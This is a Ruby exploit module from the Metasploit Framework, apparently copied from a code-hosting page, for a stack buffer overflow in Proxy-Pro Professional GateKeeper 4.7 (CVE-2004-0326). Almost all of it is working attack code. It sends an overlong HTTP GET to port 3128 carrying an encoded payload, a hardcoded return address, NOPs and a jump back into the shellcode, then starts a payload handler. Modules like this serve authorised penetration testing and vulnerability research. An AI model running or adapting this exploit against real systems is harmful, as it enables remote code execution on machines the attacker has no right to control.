74 lines
1.8 KiB
Ruby
74 lines
1.8 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Proxy-Pro Professional GateKeeper 4.7 GET Request Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Proxy-Pro Professional
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GateKeeper 4.7. By sending a long HTTP GET to the default port
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of 3128, a remote attacker could overflow a buffer and execute
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arbitrary code.
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},
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'Author' => 'MC',
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2004-0326'],
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['OSVDB', '4027'],
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['BID', '9716'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 500,
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'BadChars' => "\x00+&=%\x0a\x0d\x20",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Proxy-Pro GateKeeper 4.7', { 'Ret' => 0x03b1e121 } ], # GKService.exe
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],
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'Privileged' => true,
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'DisclosureDate' => 'Feb 23 2004',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(3128)
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], self.class)
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end
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def exploit
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connect
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print_status("Trying target #{target.name}...")
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sploit = "GET /" + rand_text_english(3603, payload_badchars)
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sploit += payload.encoded + [target.ret].pack('V') + make_nops(10)
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sploit += "\xe9" + [-497].pack('V') + " HTTP/1.0" + "\r\n\r\n"
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sock.put(sploit)
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sock.get_once(-1, 3)
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handler
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disconnect
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end
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end
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